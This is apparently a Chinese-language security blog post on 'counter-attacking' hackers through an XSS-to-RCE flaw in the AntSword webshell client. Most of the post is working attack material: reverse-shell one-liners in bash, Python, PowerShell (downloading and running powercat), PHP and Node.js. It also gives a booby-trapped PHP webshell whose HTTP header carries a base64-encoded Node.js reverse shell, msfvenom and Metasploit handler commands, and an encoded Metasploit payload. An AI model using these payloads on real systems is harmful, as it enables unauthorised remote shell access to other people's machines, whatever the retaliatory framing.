溯源


IP签名

利用AntSword RCE进行溯源反制黑客

一、漏洞原理

由于蚁剑使用是html解析,并没有进行 XSS 保护过滤,html内容被解析了,导致xss漏洞。

二、复现

更改webshell为

<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ?>

image.png

三、反制

反弹shell:

建立一个控制目标的简易管道,(攻击者再代码中指定服务端,让受害者主机主动连接攻击者的程序)可以通过这个管道连接成功以后去执行系统命令

而建立这个管道有非常多种方式

比如利用Linux中的bash 或者python powershell php nodejs

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

powershell IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.201.129/powercat.ps1‘); powercat -c 192.168.201.129 -p 9999 -e cmd

php -r ‘$sock=fsockopen(“10.10.10.11”,443);exec(“/bin/sh -i &3 2>&3”);’

蚁剑支持nodjs脚本,因此可以基于nodejs实现反弹shell

nodejs rce的代码:

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.13.128", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

什么是nodejs

javascrpt是脚本语言 也就是通常情况下用在浏览器,嵌入到HTML网页中,由浏览器一边解释一边执行。 要想在服务器上运行js需要运行环境。

nodejs是一个基于Chrome V8引擎的JavaScript运行环境,可以让JavaScript运行在服务端的开发平台非浏览器上运行,让脚本语言JavaScript能作为服务器语言。

代码解析

1、利用process模块进行命令执行,用require来开启子进程进行命令执行
var net = require("net"), sh = require("child_process").exec("cmd.exe");

nodejs基于事件驱动来处理并发,本身是单线程模式运行的。Nodejs通过生成多个子进程来处理其他事物。

在Node.js中,提供了一个child_process模块,通过它可以开启多个子进程,在多个子进程之间可以共享内存空间,可以通过子进程的互相通信来实现信息的交换。

nodejs创建子进程有四种方法,分别是spawn、fork、exec、execFile。

2、在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。
var client = new net.Socket();

client.connect(10086, "192.168.13.128", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}

net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。

3、输入输出重定向
client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);
重定向的原理是:

首先声明两个概念:主程序(重定向的操纵者)、子进程(被重定向的子进程)

如果要重定位stdout的话,先生成一个管道, 管道的写入端交给子进程去写,主程序从管道的读出端读数据,
然后可以把数据写成文件、显示等等。重定向stderr和stdout是相同的。

同理,要重定向stdin的话,生成一个管道, 管道的写入端由主程序写,子进程从管道的读出端读数据。
当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

< :是对标准输入 0 重定向 > :是对标准输出 1 重定向

在nodejs中

stdin是标准输入,stdout是标准输出,stderr是标准错误输出。
大多数的命令行程序从stdin输入,输出到stdout或 stderr,重定向stdout,stderr,stdin。

在Windows编程中,重定向需要用到管道(Pipe)的概念。管道是一种用于在进程间共享数据的机制。
一个管道类似于一个管子的两端,一端是写入的,一端是读出的。由一个进程从写入端写入、另一个进程从读出端读出,从而实现通信,就向一个“管道”一样。

主机复现

一、nodejs

1、加密反弹shell代码:
http://www.jsons.cn/base64/ base64在线加解密
var net = require(“net”), sh = require(“child_process”).exec(“cmd.exe”);
var client = new net.Socket();
client.connect(10086, “192.168.13.128”, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
image.png
2、在受害服务器中替换webshell内容

<?PHP
 header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`CnZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgc2ggPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlYygiY21kLmV4ZSIpOwp2YXIgY2xpZW50ID0gbmV3IG5ldC5Tb2NrZXQoKTsKY2xpZW50LmNvbm5lY3QoMTAwODYsICIxOTIuMTY4LjEwLjEyMSIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");
 ?>

3、监听端口
4、攻击机使用蚁剑连接webshell
image.png
5、成功反弹shell

反弹shell 得到了目标cmd

image.png

二、msf反弹shell

MSF生成 node.js木马:

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.13.137 LPORT=10086 -f raw -o payload.js

image.png

同样将代码加密以后替换掉webshell中内容

KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDEwMDg2LCAiMTkyLjE2OC4xMy4xMzciLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09ICJ1bmRlZmluZWQiKSB7IHNoLnN0ZG91dC5waXBlKGNsaWVudC5zb2NrZXQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQuc29ja2V0KTsgfSBlbHNlIHsgdXRpbC5wdW1wKHNoLnN0ZG91dCwgY2xpZW50LnNvY2tldCk7IHV0aWwucHVtcChzaC5zdGRlcnIsIGNsaWVudC5zb2NrZXQpOyB9IH0pOyBzb2NrZXQub24oImVycm9yIiwgZnVuY3Rpb24oZXJyb3IpIHsgY291bnRlcisrOyBpZihjb3VudGVyPD0gMTApeyBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgeyBTdGFnZXJSZXBlYXQoKTt9LCA1KjEwMDApOyB9IGVsc2UgcHJvY2Vzcy5leGl0KCk7IH0pOyB9IFN0YWdlclJlcGVhdCgpOyB9KSgpOw=

MSF开启监听,当攻击者再次点击链接webshell爆红而不知所以然的时候,我们已经成功溯源反制。

use exploit/multi/handler

set payload nodejs/shell_reverse_tcp

set lhost 192.168.13.130

set lport 10086

exploit 

文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录